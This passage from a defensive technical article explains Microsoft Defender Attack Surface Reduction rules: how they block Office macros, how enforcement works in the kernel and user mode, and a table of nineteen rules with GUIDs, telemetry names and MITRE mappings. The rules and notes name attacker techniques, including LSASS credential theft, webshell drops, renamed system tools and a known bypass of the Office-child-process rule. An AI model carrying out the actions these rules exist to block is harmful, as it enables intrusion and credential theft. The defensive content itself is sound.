&lt;p&gt;This is the generation that deserves the most honest framing in the article, because the marketing version oversimplifies what actually happened to Office macros.&lt;/p&gt;
&lt;p&gt;Tom Gallagher&apos;s February 7, 2022 Microsoft 365 Blog post announces the default block of VBA macros in &lt;a href=&quot;https://paragmali.com/blog/mark-of-the-web-smartscreen-catalog-of-trust/&quot; rel=&quot;noopener&quot;&gt;MOTW&lt;/a&gt;-internet documents [@ms-techcommunity-internet-macros-2022]. The trust bar removes the &quot;Enable Content&quot; button entirely. Microsoft pauses the rollout on July 8, 2022 for usability adjustments, then resumes on July 20, 2022 -- both dates verifiable from the post&apos;s &lt;code&gt;article:modified_time&lt;/code&gt; metadata. ESET&apos;s June 2022 write-up confirms the intended effect: between April 26 and May 2, 2022 Emotet operators were already testing LNK and ISO replacements for the macro carrier [@welivesecurity-emotet-pivot-2022].&lt;/p&gt;

A wide range of threat actors continue to target our customers by sending documents and luring them into enabling malicious macro code. -- Tom Gallagher, Partner Group Engineering Manager, Office Security, February 7, 2022 [@ms-techcommunity-internet-macros-2022]
&lt;p&gt;The Microsoft 365 Apps default block is &lt;strong&gt;not&lt;/strong&gt; a generation of ASR. It is a parallel layer that ships inside Office, runs against every Microsoft 365 Apps installation managed or unmanaged, and uses the MOTW as its trigger rather than the kernel-mode minifilter. It cooperates with ASR; it does not subsume ASR.&lt;/p&gt;

The popular &quot;ASR stopped Office macros&quot; claim is half right. The Office-macro era ended through three layers in combination: (1) Europol&apos;s Operation LadyBird on January 27, 2021, coordinated international takedown of Emotet&apos;s command-and-control infrastructure [@europol-emotet-disrupted-wayback]; (2) ASR&apos;s 2017-onward Office rules at the enterprise tier, managed through Intune, Group Policy, or Defender for Endpoint; (3) the Microsoft 365 Apps internet-macro default block at the consumer and tenant tier, default-on for every Microsoft 365 installation since the July 2022 staged rollout [@ms-techcommunity-internet-macros-2022]. ASR is the enterprise-managed layer; it was not the only layer. The polished version of the story names all three.
&lt;p&gt;A coincidence worth noting: Europol&apos;s Operation LadyBird seized Emotet&apos;s command-and-control infrastructure on January 27, 2021 [@europol-emotet-disrupted-wayback]. SANS Internet Storm Center Diary 27036, published the same day by handler Daniel Wesemann, documented the canonical WMI-grandparent bypass to the Office-child-process ASR rule [@sans-isc-27036-emotet-asr]. A takedown and a bypass landed on the same Wednesday.&lt;/p&gt;
&lt;h3&gt;Generation 5, 2023-2026 -- Standard protection and the long tail&lt;/h3&gt;
&lt;p&gt;By 2023 Microsoft had enough deployment telemetry to partition the rules into two categories. The &lt;strong&gt;Standard protection rules&lt;/strong&gt; are the three with a low false-positive floor, safe to enable in Block mode without staged rollout: BYOVD, LSASS credential-theft, and WMI persistence [@ms-learn-asr-overview]. The remaining sixteen are &lt;strong&gt;Other ASR rules&lt;/strong&gt; and require the full Audit, Warn, Block ladder. Several new rules landed in this period [@ms-learn-asr-reference]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Block Webshell creation for Servers&lt;/strong&gt; -- &lt;code&gt;a8f5898e-1dc8-49a9-9878-85004b8a61e6&lt;/code&gt; -- the post-HAFNIUM / ProxyShell response. This is the only rule in the catalogue whose row in the Microsoft Learn reference shows &quot;N&quot; for EDR alerts, meaning it does not emit a paired &lt;code&gt;Audited&lt;/code&gt; and &lt;code&gt;Blocked&lt;/code&gt; &lt;code&gt;ActionType&lt;/code&gt; in &lt;code&gt;DeviceEvents&lt;/code&gt;. Defenders hunt blocked webshell drops through &lt;code&gt;MpCmdRun.log&lt;/code&gt; and IIS access logs, not Advanced Hunting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block rebooting machine in Safe Mode&lt;/strong&gt; -- &lt;code&gt;33ddedf1-c6e0-47cb-833e-de6133960387&lt;/code&gt; -- the BlackByte-era safe-mode-encryption response.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block use of copied or impersonated system tools&lt;/strong&gt; -- &lt;code&gt;c0033c00-d16d-4114-a5a0-dc9b3a7d2ceb&lt;/code&gt; -- the rename-and-relocate evasion response (attackers copying &lt;code&gt;cmd.exe&lt;/code&gt; to a writable path and renaming it &lt;code&gt;update.exe&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block untrusted and unsigned processes that run from USB&lt;/strong&gt; -- &lt;code&gt;b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4&lt;/code&gt; -- the BadUSB / removable-media response.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block Office communication application from creating child processes&lt;/strong&gt; -- &lt;code&gt;26190899-1602-49e8-8b27-eb1d0a1ce869&lt;/code&gt; -- the Outlook variant of the Office-child-process rule.&lt;/li&gt;
&lt;/ul&gt;

The three ASR rules Microsoft classifies as safe to enable in Block mode without staged rollout: Block abuse of exploited vulnerable signed drivers, Block credential stealing from the Windows local security authority subsystem, and Block persistence through WMI event subscription. The classification appears verbatim on the ASR rules overview page [@ms-learn-asr-overview]. The LSASS rule is redundant when LSA Protection is enabled; the WMI persistence rule still requires Audit testing if Microsoft Configuration Manager manages the device.
&lt;p&gt;The catalogue stands at &lt;strong&gt;19 rules as of May 2026&lt;/strong&gt; -- three Standard protection rules and sixteen Other ASR rules, the count inclusive of the server-only Webshell rule that does not emit &lt;code&gt;DeviceEvents&lt;/code&gt; [@ms-learn-asr-reference]. The pattern is consistent enough that the next section gives it a name.&lt;/p&gt;
&lt;h2&gt;5. Edges, Not Nodes&lt;/h2&gt;
&lt;p&gt;The structural pivot the whole article rests on can be written in one sentence: signatures classify nodes; AppLocker classifies identities; ASR classifies edges in the runtime graph. The rest of this section unpacks what that means and why it matters.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;node&lt;/em&gt; in the runtime graph is a binary or a file -- the kind of thing static analysis can fingerprint. An &lt;em&gt;edge&lt;/em&gt; is a runtime relationship between two nodes: process A creating process B, process A writing file F, process A opening a handle to LSASS memory, the WMI repository writing a new &lt;code&gt;__FilterToConsumerBinding&lt;/code&gt;. Signatures answer &quot;is this node bad?&quot; -- undecidable in general per Cohen 1984 [@cohen-1984-part1]. AppLocker answers &quot;is this node&apos;s identity on the allow-list?&quot; -- decidable but blind to LOLBin chains [@lolbas-project]. ASR answers &quot;did this specific edge happen?&quot; -- decidable per event at the OS interception layer.&lt;/p&gt;
&lt;p&gt;The Cohen sidestep is precise. Cohen 1984 proved that classifying nodes (&quot;is this program malicious?&quot;) is undecidable in general, via a reduction to the Halting Problem. He did &lt;strong&gt;not&lt;/strong&gt; prove that classifying runtime edges is undecidable, because &quot;did this specific parent-child invocation just happen?&quot; is an observable proposition. The kernel sees the system call. The decision is local. No static analysis is required. ASR is the canonical industrial instantiation of that insight; every generation in Section 4 is a catalogue extension within the edge-classification approach, not a structural reframing of it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Signatures classify nodes. AppLocker classifies identities. ASR classifies edges in the runtime graph. By moving from node classification to edge classification, Microsoft sidesteps Cohen-1984 undecidability in the practical sense: you do not need to decide whether the binary is malicious, only whether the edge happened. The kernel sees the edge.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Where does the enforcement actually live? The &quot;kernel-mediated&quot; framing earns its phrasing in three precise pieces.&lt;/p&gt;
&lt;p&gt;First, &lt;code&gt;WdFilter.sys&lt;/code&gt; is the Microsoft Defender Antivirus minifilter driver.An altitude, in Windows Filter Manager terminology, is a 32-bit decimal that determines the order in which file-system minifilters see I/O. Higher altitudes see I/O first on the way down to the file system and last on the way back up. Anti-virus drivers live in the 320000-329998 band. It is registered with the Windows Filter Manager in the &lt;strong&gt;FSFilter Anti-Virus altitude band (320000-329998), specifically at altitude 328010&lt;/strong&gt; per Microsoft&apos;s IFS allocated-altitudes reference [@ms-learn-ifs-allocated-altitudes]. It runs in &lt;strong&gt;kernel mode&lt;/strong&gt; and intercepts process-creation, image-load, file-write, and (for some rules) WMI and registry edges through Filter Manager pre-operation callbacks and process / image-load notify routines.&lt;/p&gt;

The Microsoft Defender Antivirus minifilter driver. Registered with the Windows Filter Manager at altitude 328010 in the FSFilter Anti-Virus band (320000-329998) per Microsoft&apos;s allocated-altitudes reference [@ms-learn-ifs-allocated-altitudes]. It runs in kernel mode and hosts the interception callbacks that ASR uses to see process-creation, image-load, and file-write edges before the user-mode actor completes the operation.
&lt;p&gt;Second, &lt;code&gt;MsMpEng.exe&lt;/code&gt; is the Defender Antivirus service process. It runs in &lt;strong&gt;user mode&lt;/strong&gt; at integrity level System. For every intercepted edge it consults the per-rule predicate, the per-rule exclusion list, and (for cloud-protected rules) the Microsoft Active Protection Service reputation, then returns Audit, Warn, or Block. The kernel/user-mode split is structural, not accidental. Interception must happen in the kernel before the user-mode actor completes the call. But exclusion-list lookup and cloud reputation are not appropriate inside a minifilter that holds the IRP open.&lt;/p&gt;

The Microsoft Defender Antivirus service process. Runs in user mode at integrity level System and hosts the policy-evaluation engine that decides Audit, Warn, or Block for every edge intercepted by `WdFilter.sys`. The two together form the kernel-mediated, user-mode-evaluated enforcement architecture that ASR relies on.
&lt;p&gt;Third, telemetry. ASR blocks land in Defender for Endpoint&apos;s &lt;code&gt;DeviceEvents&lt;/code&gt; Advanced Hunting table with a rule-specific &lt;code&gt;ActionType&lt;/code&gt; such as &lt;code&gt;AsrOfficeChildProcessBlocked&lt;/code&gt; or &lt;code&gt;AsrLsassCredentialTheftBlocked&lt;/code&gt;. The rules reference enumerates a paired &lt;code&gt;Audited&lt;/code&gt; and &lt;code&gt;Blocked&lt;/code&gt; &lt;code&gt;ActionType&lt;/code&gt; for every rule except the Webshell rule, which is the only one without a &lt;code&gt;DeviceEvents&lt;/code&gt; row [@ms-learn-asr-reference]. The universal hunting query is &lt;code&gt;DeviceEvents | where ActionType startswith &quot;Asr&quot;&lt;/code&gt;. The generic &lt;code&gt;AsrRuleTriggered&lt;/code&gt; is folk wisdom; it has never existed.&lt;/p&gt;

Microsoft Defender for Endpoint&apos;s Kusto Query Language (KQL) surface over endpoint telemetry. ASR blocks and audit events land in the `DeviceEvents` table with rule-specific `ActionType` values. Defenders combine `DeviceEvents` with `DeviceProcessEvents`, `DeviceFileEvents`, and `DeviceImageLoadEvents` to assemble the corroborating edge data around any ASR row [@ms-learn-asr-reference].

flowchart LR
    P[&quot;User-mode process&lt;br /&gt;WINWORD.EXE&quot;] --&amp;gt;|&quot;CreateProcessW&quot;| K[&quot;Windows kernel&lt;br /&gt;process-creation notify&quot;]
    K --&amp;gt; WD[&quot;WdFilter.sys&lt;br /&gt;kernel-mode minifilter&lt;br /&gt;altitude 328010&quot;]
    WD --&amp;gt;|&quot;edge event&quot;| MP[&quot;MsMpEng.exe&lt;br /&gt;user-mode service&lt;br /&gt;rule predicate + exclusions + MAPS&quot;]
    MP --&amp;gt;|&quot;Audit / Warn / Block&quot;| WD
    WD --&amp;gt;|&quot;fail or allow CreateProcessW&quot;| P
    MP --&amp;gt;|&quot;telemetry&quot;| DE[&quot;DeviceEvents&lt;br /&gt;ActionType = AsrOfficeChildProcessBlocked&quot;]

A common misconception is &quot;ASR runs in the kernel.&quot; That is partially true and structurally incomplete. The interception point is kernel-mode; the policy evaluation is user-mode. Both are necessary. The kernel must see the edge before the user-mode actor completes the operation, but the cloud reputation lookup and the per-rule exclusion list are not appropriate to run inside a minifilter that holds the IRP open. The correct one-line framing is &quot;kernel-mediated interception, user-mode policy evaluation.&quot;
&lt;p&gt;The marginal performance cost of an ASR check is bounded by the existing &lt;code&gt;WdFilter.sys&lt;/code&gt; callout that already runs for real-time scanning. ASR piggybacks on callouts the antivirus engine has already paid for. Microsoft has not published a number isolating ASR per-event overhead from broader minifilter cost; the IFS allocated-altitudes page is the closest published reference [@ms-learn-ifs-allocated-altitudes]. The sub-microsecond-per-event framing is INFERRED from the architecture, not measured.&lt;/p&gt;

&quot;Protection from denial of services requires the detection of halting programs which is well known to be undecidable.&quot; -- Fred Cohen, &quot;Computer Viruses: Theory and Experiments,&quot; 1984 [@cohen-1984-part1]
&lt;p&gt;The framework now in place is &quot;name a behaviour class, ship an enforcement edge.&quot; Nine years and seven generations of catalogue extension have followed that single rule. So what does the catalogue look like in detail today? The next section is the reference table: nineteen rules, organised by category, with GUID, ActionType, and the attacker behaviour each one closes.&lt;/p&gt;
&lt;h2&gt;6. The Nineteen Rules in Detail&lt;/h2&gt;
&lt;p&gt;This section is the article&apos;s reference table. Not a deployment guide (that comes in Section 10), but a catalogue to return to when you need to remember which GUID maps to which behaviour and which &lt;code&gt;ActionType&lt;/code&gt; lands in &lt;code&gt;DeviceEvents&lt;/code&gt;. Every row is from Microsoft Learn&apos;s rules reference page [@ms-learn-asr-reference].&lt;/p&gt;
&lt;h3&gt;Standard protection rules (3 rules)&lt;/h3&gt;
&lt;p&gt;Microsoft itself recommends enabling these three in Block mode without staged rollout, because their false-positive floor is low [@ms-learn-asr-overview].&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Short name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;ActionType (Blocked)&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Block abuse of exploited vulnerable signed drivers&lt;/td&gt;
&lt;td&gt;&lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrVulnerableSignedDriverBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The BYOVD response; pairs with the kernel-load-time Vulnerable Driver Blocklist [@ms-learn-driver-block-rules]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block credential stealing from the Windows local security authority subsystem&lt;/td&gt;
&lt;td&gt;&lt;code&gt;9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrLsassCredentialTheftBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Redundant when LSA Protection is enabled [@ms-learn-asr-overview]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block persistence through WMI event subscription&lt;/td&gt;
&lt;td&gt;&lt;code&gt;e6db77e5-3df2-4cf1-b95a-636979351e5b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrPersistenceThroughWmiBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Still requires Audit testing if Configuration Manager manages the device&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Productivity apps (6 rules)&lt;/h3&gt;
&lt;p&gt;The Office and Adobe response pack, anchored by the Office-child-process rule that opens this article.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Short name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;ActionType (Blocked)&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Block all Office applications from creating child processes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;d4f940ab-401b-4efc-aadc-ad5f3c50688a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrOfficeChildProcessBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The macro-to-PowerShell stopper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block Office applications from creating executable content&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3b576869-a4ec-4529-8536-b80a7769e899&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrExecutableOfficeContentBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Blocks dropped EXEs from Office processes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block Office applications from injecting code into other processes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrOfficeProcessInjectionBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No Warn-mode support [@ms-learn-asr-overview]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block Win32 API calls from Office macros&lt;/td&gt;
&lt;td&gt;&lt;code&gt;92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrOfficeMacroWin32ApiCallsBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Refuses &lt;code&gt;Declare&lt;/code&gt; statements that bind to native DLLs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block Office communication application from creating child processes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;26190899-1602-49e8-8b27-eb1d0a1ce869&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrOfficeCommAppChildProcessBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The Outlook variant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block Adobe Reader from creating child processes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrAdobeReaderChildProcessBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The PDF response&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Scripts and email (3 rules)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://paragmali.com/blog/amsi-the-pre-execution-window-defender/&quot; rel=&quot;noopener&quot;&gt;AMSI&lt;/a&gt;-backed script-content rules plus the email-drop-execution rule.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Short name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;ActionType (Blocked)&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Block execution of potentially obfuscated scripts&lt;/td&gt;
&lt;td&gt;&lt;code&gt;5beb7efe-fd9a-4556-801d-275e5ffc04cc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrObfuscatedScriptBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AMSI-backed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block JavaScript or VBScript from launching downloaded executable content&lt;/td&gt;
&lt;td&gt;&lt;code&gt;d3e037e1-3eb8-44c8-a917-57927947596d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrScriptExecutableDownloadBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The drive-by-download response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block executable content from email client and webmail&lt;/td&gt;
&lt;td&gt;&lt;code&gt;be9ba2d9-53ea-4cdc-84e5-9b1eeee46550&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrExecutableEmailContentBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Catches the dropped-attachment-run pattern&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Lateral movement and prevalence (4 rules)&lt;/h3&gt;
&lt;p&gt;The cloud-protected, prevalence-based rules plus the Emotet lateral-movement responses.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Short name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;ActionType (Blocked)&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Block process creations originating from PSExec and WMI commands&lt;/td&gt;
&lt;td&gt;&lt;code&gt;d1e49aac-8f56-4280-b9ba-993a6d77406c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrPsexecWmiChildProcessBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Conflicts with Configuration Manager [@ms-learn-asr-overview]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block executable files from running unless they meet a prevalence, age, or trusted list criterion&lt;/td&gt;
&lt;td&gt;&lt;code&gt;01443614-cd74-433a-b99e-2ecdc07bfc25&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrUntrustedExecutableBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Requires cloud protection (MAPS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block untrusted and unsigned processes that run from USB&lt;/td&gt;
&lt;td&gt;&lt;code&gt;b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrUntrustedUsbProcessBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The BadUSB response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Use advanced protection against ransomware&lt;/td&gt;
&lt;td&gt;&lt;code&gt;c1db55ab-c21a-4637-bb3f-a12568109d35&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrRansomwareBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Requires cloud protection&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Server, system-tool, and safe-mode (3 rules)&lt;/h3&gt;
&lt;p&gt;The post-2022 additions.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Short name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;ActionType (Blocked)&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Block Webshell creation for Servers&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a8f5898e-1dc8-49a9-9878-85004b8a61e6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(no DeviceEvents pair)&lt;/td&gt;
&lt;td&gt;Only rule without a &lt;code&gt;DeviceEvents&lt;/code&gt; ActionType [@ms-learn-asr-reference]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block rebooting machine in Safe Mode&lt;/td&gt;
&lt;td&gt;&lt;code&gt;33ddedf1-c6e0-47cb-833e-de6133960387&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrSafeModeRebootBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Also emits &lt;code&gt;AsrSafeModeRebootWarnBypassed&lt;/code&gt; -- proof Warn is supported&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block use of copied or impersonated system tools&lt;/td&gt;
&lt;td&gt;&lt;code&gt;c0033c00-d16d-4114-a5a0-dc9b3a7d2ceb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrAbusedSystemToolBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Also emits &lt;code&gt;AsrAbusedSystemToolWarnBypassed&lt;/code&gt; -- proof Warn is supported&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Total: &lt;strong&gt;19 rules&lt;/strong&gt;. Older blog posts that cite &quot;16 rules&quot; or &quot;17 rules&quot; reflect a 2021-2023 snapshot of the catalogue before the Safe Mode, copied-tools, USB, and Outlook variants landed.&lt;/p&gt;
&lt;h3&gt;The per-rule MITRE crosswalk&lt;/h3&gt;
&lt;p&gt;MITRE ATT&amp;amp;CK&apos;s Behavior Prevention on Endpoint mitigation (M1040) nominates ASR rules by name for several technique families. The first eight rows below are verbatim nominations from the M1040 page; the last two (T1505.003 and T1562.009) are this article&apos;s own mappings from rule semantics to the most-natural MITRE technique, because M1040 itself does not enumerate the Webshell or Safe Mode Boot techniques [@mitre-m1040]:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;MITRE technique&lt;/th&gt;
&lt;th&gt;ASR rule that covers it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;T1059.005 / T1059.007 (Command and Scripting Interpreter: Visual Basic / JavaScript)&lt;/td&gt;
&lt;td&gt;Block JavaScript or VBScript from launching downloaded executable content; Block execution of potentially obfuscated scripts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1543 / T1543.003 (Create or Modify System Process / Windows Service)&lt;/td&gt;
&lt;td&gt;Block abuse of exploited vulnerable signed drivers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1486 (Data Encrypted for Impact)&lt;/td&gt;
&lt;td&gt;Use advanced protection against ransomware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1546.003 (Event Triggered Execution: WMI Event Subscription)&lt;/td&gt;
&lt;td&gt;Block persistence through WMI event subscription&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1559 / T1559.002 (Inter-Process Communication: Dynamic Data Exchange)&lt;/td&gt;
&lt;td&gt;Block all Office applications from creating child processes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1106 (Native API)&lt;/td&gt;
&lt;td&gt;Block Win32 API calls from Office macros&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1027 / T1027.009 / T1027.010 (Obfuscated Files or Information)&lt;/td&gt;
&lt;td&gt;Block execution of potentially obfuscated scripts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1003.001 (LSASS Memory)&lt;/td&gt;
&lt;td&gt;Block credential stealing from the Windows local security authority subsystem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1505.003 (Server Software Component: Web Shell) -- author mapping, not M1040-nominated&lt;/td&gt;
&lt;td&gt;Block Webshell creation for Servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1562.009 (Impair Defenses: Safe Mode Boot) -- author mapping, not M1040-nominated&lt;/td&gt;
&lt;td&gt;Block rebooting machine in Safe Mode&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The crosswalk gives a defender the per-technique coverage map without leaving the article.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Recall from Section 1: every rule emits a rule-specific &lt;code&gt;Asr&amp;lt;RuleName&amp;gt;Audited&lt;/code&gt; and &lt;code&gt;Asr&amp;lt;RuleName&amp;gt;Blocked&lt;/code&gt; pair (the Webshell rule excepted), and the canonical universal Advanced Hunting filter is &lt;code&gt;where ActionType startswith &quot;Asr&quot;&lt;/code&gt; [@ms-learn-asr-reference].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The Webshell rule&apos;s missing &lt;code&gt;DeviceEvents&lt;/code&gt; &lt;code&gt;ActionType&lt;/code&gt; is the most visible gap in the catalogue&apos;s telemetry surface. Defenders typically use Sysmon Event ID 11 (FileCreate) in web roots and IIS access logs to corroborate blocked webshell creations on servers; the Microsoft Learn rules reference is explicit that the EDR-alerts column for this rule is &quot;N&quot; [@ms-learn-asr-reference].&lt;/p&gt;
&lt;p&gt;The universal Advanced Hunting query, demonstrated below in a runnable JavaScript shape so a reader can verify the aggregation logic without a Defender for Endpoint tenant, is the single most useful starting point for any ASR investigation.&lt;/p&gt;
&lt;p&gt;{`
// Mocked DeviceEvents rows. Replace with output of:
// DeviceEvents | where ActionType startswith &quot;Asr&quot;
// | summarize count() by ActionType, DeviceName | order by count_ desc
const deviceEvents = [
  { DeviceName: &quot;WS-FIN-042&quot;, ActionType: &quot;AsrOfficeChildProcessBlocked&quot; },
  { DeviceName: &quot;WS-FIN-042&quot;, ActionType: &quot;AsrOfficeChildProcessBlocked&quot; },
  { DeviceName: &quot;WS-FIN-118&quot;, ActionType: &quot;AsrOfficeChildProcessAudited&quot; },
  { DeviceName: &quot;WS-ENG-003&quot;, ActionType: &quot;AsrLsassCredentialTheftBlocked&quot; },
  { DeviceName: &quot;WS-FIN-042&quot;, ActionType: &quot;AsrPsexecWmiChildProcessAudited&quot; },
  { DeviceName: &quot;WS-FIN-118&quot;, ActionType: &quot;AsrVulnerableSignedDriverBlocked&quot; },
  { DeviceName: &quot;OTHER&quot;,      ActionType: &quot;DeviceLogon&quot; }, // filtered out
];&lt;/p&gt;
&lt;p&gt;const asrRows = deviceEvents.filter(r =&amp;gt; r.ActionType.startsWith(&quot;Asr&quot;));&lt;/p&gt;
&lt;p&gt;const counts = asrRows.reduce((m, r) =&amp;gt; {
  const key = r.ActionType + &quot; | &quot; + r.DeviceName;
  m[key] = (m[key] || 0) + 1;
  return m;
}, {});&lt;/p&gt;
